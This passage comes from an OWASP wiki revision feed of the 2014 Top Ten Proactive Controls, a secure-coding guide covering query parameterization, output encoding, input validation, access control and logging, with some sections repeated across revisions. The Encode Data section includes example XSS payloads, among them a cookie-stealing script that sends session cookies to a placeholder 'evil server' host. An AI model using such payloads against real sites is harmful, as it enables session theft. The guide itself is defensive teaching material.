* Stopping XSS in your web application: OWASP [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]&lt;br /&gt;
* General information about injection: [[Top 10 2013-A1-Injection]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_Encoder_Project OWASP Java Encoder Project]&lt;br /&gt;
* [http://msdn.microsoft.com/en-us/security/aa973814.aspx Microsoft .NET AntiXSS Library]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API OWASP ESAPI]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Encoder_Comparison_Reference_Project OWASP Encoder Comparison Reference Project]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 3: Validate All Inputs ==&lt;br /&gt;
&lt;br /&gt;
It is critical to treat all input from outside of the application (for example, from browsers or mobile clients, from outside systems or files) as untrusted. For web applications this includes HTTP headers, cookies, and GET and POST parameters: any or all of this data could be compromised by an attacker.&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
There are two types of input validation: “white list&amp;quot; validation and &amp;quot;black list&amp;quot; validation. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively because it can be bypassed through encoding and other obfuscation techniques, and is not recommended when building a secure web application. The following examples will focus on white list validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation white list of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
'''Key References''' &lt;br /&gt;
* [[Input Validation Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_JSON_Sanitizer OWASP JSON Sanitizer Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer OWASP Java HTML Sanitizer Project]&lt;br /&gt;
* [http://commons.apache.org/proper/commons-validator/ Apache Commons Validator]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 4: Implement Appropriate Access Controls ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular feature of resource should be granted or denied. It should be noted that authorization is not equivalent to authentication (verifying identity). These terms and their definitions are frequently confused. &lt;br /&gt;
&lt;br /&gt;
Access Control can be a rather complex and design-heavy security control. The following &amp;quot;positive&amp;quot; access control design requirements should be considered at the initial stages of application development. Once you have chosen a specific access control design pattern, it is often difficult and time consuming to re-engineer access control in your application with a new pattern. Access Control is one of the main areas of application security software design that must be heavily thought-through up front. &lt;br /&gt;
&lt;br /&gt;
=== Force all requests to go through access control checks ===&lt;br /&gt;
Most frameworks and languages only check a feature for access control if a programmer adds that check. The opposite is a more security-centric design. Consider using a filter or other automatic mechanism to ensure that all requests go through some kind of access control check.&lt;br /&gt;
&lt;br /&gt;
=== Deny by default ===&lt;br /&gt;
In line with automatic access control checking, consider denying all access control checks for features that have not been configured for access control. Normally the opposite is true in that newly created features automatically grant users full access until a developer has added that check. &lt;br /&gt;
 &lt;br /&gt;
=== Avoid hard-coded policy-based access control checks in code ===&lt;br /&gt;
Very often, access control policy is hard-coded deep in application code. This makes auditing or proving the security of that software very difficult and time consuming. Access control policy and application code, when possible, should be separated. Another way of saying this is that your enforcement layer (checks in code) and your access control decision making process (the access control &amp;quot;engine&amp;quot;) should be separated when possible. &lt;br /&gt;
&lt;br /&gt;
=== Code to the activity ===&lt;br /&gt;
Most web frameworks use role based access control as the primary method for coding enforcement points in code. While it's acceptable to use roles in access control mechanisms, coding specifically to the role in application code is an anti-pattern. Considering checking if the user has access to that feature in code, as opposed to checking what role the user is in code.&lt;br /&gt;
&lt;br /&gt;
=== Server-side trusted data should drive access control ===&lt;br /&gt;
The vast majority of data you need to make an access control decision (who is the user and are they logged in, what entitlements does the user have, what is the access control policy, what feature and data is being requested, what time is it, what geolocation is it, etc) should be retrieved &amp;quot;server-side&amp;quot; in a standard web or web service application.  Policy data such as a user's role or an access control rule should never be part of the request. In a standard web application, the only client-side data that is needed for access control is the id or ids of the data being accessed. Most all other data needed to make an access control decision should be retrieved server-side.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Access Control Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_PHPRBAC_Project OWASP PHPRBAC Project]&lt;br /&gt;
* [http://shiro.apache.org/authorization-features.html Apache Shiro Authorization features]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 5: Establish Identity and Authentication Controls ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verifying that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Authentication Cheat Sheet]]&lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
* [[Forgot Password Cheat Sheet]] &lt;br /&gt;
* [[Session Management Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 6: Protect Data and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Proper SSL/TLS configuration: [[Transport Layer Protection Cheat Sheet]]&lt;br /&gt;
* Protecting users from man-in-the-middle attacks via fraudulent SSL certificates: [[Pinning Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption at Rest ===&lt;br /&gt;
&lt;br /&gt;
Cryptographic storage is difficult to build securely. It's critical to classify data in your system and determine that data needs to be encrypted, such as the need to encrypt credit cards per the PCI compliance standard. Also, any time you start building your own low-level crypto on your own, ensure you are or have the assistance of a deep applied crypto expert. Consider well vetted cryptographic libraries such as the [https://code.google.com/p/keyczar/ Google KeyCzar] project. Also, be prepared to handle the more difficult aspects of applied crypto such as key management, overall cryptographic architecture design as well as tiering and trust issues in complex software. &lt;br /&gt;
 &lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Information on low level decisions necessary when encrypting data at rest: [[Cryptographic Storage Cheat Sheet]] &lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/O-Saft OWASP SSL Audit for Testers]&lt;br /&gt;
* [https://code.google.com/p/keyczar/ Google KeyCzar]&lt;br /&gt;
&lt;br /&gt;
=== Implement Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Make sure that confidential or sensitive data is not exposed by accident during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 7: Implement Logging and Intrusion Detection ==&lt;br /&gt;
&lt;br /&gt;
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:&lt;br /&gt;
&lt;br /&gt;
* Application monitoring&lt;br /&gt;
* Business analytics and insight&lt;br /&gt;
* Activity auditing and compliance monitoring&lt;br /&gt;
* System intrusion detection&lt;br /&gt;
* Forensics&lt;br /&gt;
&lt;br /&gt;
Use a common logging approach to ensure that all log entries are consistent, and contain essential information including source and timestamp.&lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. &lt;br /&gt;
&lt;br /&gt;
It is important not to log too much, or too little - be careful not to log private or confidential data or secrets. Use knowledge of the intended purposes to guide what, when and how much. To protect from Log Injection aka Log Forging, make sure to perform validation or encoding on untrusted data before logging it.&lt;br /&gt;
&lt;br /&gt;
The [[OWASP AppSensor Project]] is a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application: where to add sensors or [https://www.owasp.org/index.php/AppSensor_DetectionPoints detection points] and what response actions [https://www.owasp.org/index.php/AppSensor_ResponseActions response actions] to take when an exception is encountered in your application.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* How to properly implement logging in an application: [[Logging Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [[OWASP AppSensor Project]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 8: Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* [http://static.springsource.org/spring-security/site/index.html Spring Security]&lt;br /&gt;
* [http://shiro.apache.org/ Apache Shiro]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet PHP Security Cheat Sheet]&lt;br /&gt;
* [https://www.owasp.org/index.php/.NET_Security_Cheat_Sheet .NET Security Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 9: Include Security-Specific Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use cases or user stories which include input, behavior and output, and can be reviewed and tested for functional correctness by Q/A staff. For example, checking for re-authentication during change password or checking to make sure that changes to certain data were properly logged.&lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features include multi-step multi-branch workflows that are difficult to evaluate thoroughly and involve money or valuable items, user credentials, private information or command/control functions, for example eCommerce workflows, shipping route choices, or banking transfer validation. The user stories or use cases for these requirements should include exceptions and failure scenarios (what happens if a step fails or times out or if the user tries to cancel or repeat a step?) and requirements derived from &amp;quot;abuse cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Walking through failures and abuse case scenarios will uncover weaknesses in validation and error handling that impact the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must always be aware of any personal or confidential information in the system and make sure that this data is protected. What is the source of the data? Can the source be trusted? Where is the data stored or displayed? Does it have to be stored or displayed? Who is authorized to create it, see it, change it, and is all of this tracked? This will drive the need for data validation, access control, encryption, and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[OWASP Application Security Verification Standard Project]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model]&lt;br /&gt;
* [[Business Logic Security Cheat Sheet]]&lt;br /&gt;
* [[Testing for business logic (OWASP-BL-001)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 10: Design and Architect Security In ==&lt;br /&gt;
&lt;br /&gt;
There are several areas where you need to be concerned about security in the architecture and design of a system. These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team must understand and manage.&lt;br /&gt;
&lt;br /&gt;
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls to enforce at the client, the web layer, the business logic layer, the data management layer, and where to establish trust between different systems or different parts of the same system. Trust boundaries determine where to make decisions about authentication, access control, data validation and encoding, encryption and logging. Data, sources of data and services inside a trust boundary can be trusted - anything outside of a trust boundary cannot be. When designing or changing the design or a system, make sure to understand assumptions about trust, make sure that these assumptions are valid, and make sure that they are followed consistently.&lt;br /&gt;
&lt;br /&gt;
3) '''Manage the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (should you do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model (OpenSAMM)]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project Application Security Verification Standard Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/Application_Security_Architecture_Cheat_Sheet Application Security Architecture Cheat Sheet]&lt;br /&gt;
* [[Attack Surface Analysis Cheat Sheet]]&lt;br /&gt;
* [[Threat Modeling Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
= Formal Numbering =&lt;br /&gt;
&lt;br /&gt;
* OWASP-C1: Parameterize Queries&lt;br /&gt;
* OWASP-C2: Encode Data&lt;br /&gt;
* OWASP-C3: Validate All Inputs&lt;br /&gt;
* OWASP-C4: Implement Appropriate Access Controls&lt;br /&gt;
* OWASP-C5: Establish Identity and Authentication Controls&lt;br /&gt;
* OWASP-C6: Protect Data and Privacy&lt;br /&gt;
* OWASP-C7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* OWASP-C8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* OWASP-C9: Include Security-Specific Requirements&lt;br /&gt;
* OWASP-C10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! &lt;br /&gt;
&lt;br /&gt;
== Roadmap ==&lt;br /&gt;
&lt;br /&gt;
End of July: Release final document in well designed PDF form&lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
March 10, 2014: We released an early beta of this document to the OWASP leaders list for review and commentary.&amp;lt;br/&amp;gt;&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]] [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]] [[Category:OWASP_Document]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=176674</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=176674"/>
				<updated>2014-06-09T16:01:50Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Proactive-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. And even when they do, there may be inherent flaws in requirements and designs.  When it comes to web security, developers are often set up to lose the security game.&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls is a list of security techniques that should be included in every software development project. This document was written by developers for developers to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
* 1: Parameterize Queries&lt;br /&gt;
* 2: Encode Data&lt;br /&gt;
* 3: Validate All Inputs&lt;br /&gt;
* 4: Implement Appropriate Access Controls&lt;br /&gt;
* 5: Establish Identity and Authentication Controls&lt;br /&gt;
* 6: Protect Data and Privacy&lt;br /&gt;
* 7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* 8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* 9: Include Security-Specific Requirements&lt;br /&gt;
* 10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
For more information, see the complete document in the tab to the right.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is This? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls describes the top control and control categories that every architect and developer should absolutely, 100% include in every project.&lt;br /&gt;
&lt;br /&gt;
== Project Leaders ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jmanico Jim Manico] [mailto:jim.manico@owasp.org @]&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jim_Bird Jim Bird] [mailto:jimbird@shaw.ca @]&lt;br /&gt;
&lt;br /&gt;
== Key Contributors ==&lt;br /&gt;
&lt;br /&gt;
* Danny Harris [mailto:danny.harris@owasp.org @]&lt;br /&gt;
* Stephen de Vries&lt;br /&gt;
* Andrew Van Der Stock&lt;br /&gt;
* Gaz Heyes&lt;br /&gt;
* Colin Watson&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[OWASP Mobile Security Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Quick Access ==&lt;br /&gt;
&lt;br /&gt;
* Top Ten Proactive Controls 2014 [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls full description].&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [10 Mar 2014] [http://lists.owasp.org/pipermail/owasp-leaders/2014-March/011047.html Request for review]&lt;br /&gt;
* [04 Feb 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
Keep up-to-date via the [https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 1: Parameterize Queries ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of Query Parameterization in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Query Parameterization Cheat Sheet]]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide OWASP Secure Coding Practices Quick Reference Guide]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 2: Encode Data ==&lt;br /&gt;
&lt;br /&gt;
Encoding is a powerful mechanism to help protect against many types of attack, especially injection attacks. Essentially, encoding involves translating special characters into some equivalent that is no longer significant in the target interpreter. A specific example of encoding is output encoding necessary to prevent Cross Site Scripting. &lt;br /&gt;
&lt;br /&gt;
Web developers often build web pages dynamically, consisting of a mix of developer built HTML/JavaScript and database data that was originally populated with user input. This input should be considered to be untrusted data and dangerous, which requires special handling when building a secure web application. Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website. XSS attacks execute in the user's browser and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed.  Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
Contextual output encoding is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML. Forms of encoding needing to stop XSS include HTML Entity Encoding, JavaScript Encoding and Percent Encoding (aka URL Encoding). Encoding needed to stop other forms of injection include Unix encoding, Windows encoding, LDAP encoding, XML encoding and others. OWASP's Enterprise Security API (ESAPI) provides encoders for these functions.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Stopping XSS in your web application: OWASP [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]&lt;br /&gt;
* General information about injection: [[Top 10 2013-A1-Injection]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_Encoder_Project OWASP Java Encoder Project]&lt;br /&gt;
* [http://msdn.microsoft.com/en-us/security/aa973814.aspx Microsoft .NET AntiXSS Library]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API OWASP ESAPI]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Encoder_Comparison_Reference_Project OWASP Encoder Comparison Reference Project]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 3: Validate All Inputs ==&lt;br /&gt;
